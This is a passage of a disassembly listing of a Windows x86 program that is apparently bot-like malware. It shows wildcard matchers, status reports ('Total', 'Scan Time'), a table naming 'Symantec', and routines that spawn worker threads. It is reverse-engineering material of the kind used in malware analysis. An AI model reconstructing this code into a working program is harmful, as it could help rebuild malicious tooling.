loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 66h, 4Dh
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	near ptr 2680000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	near ptr 269086Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		call	near ptr 2680000h
		nop
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		call	near ptr 269086Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		call	near ptr 269086Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
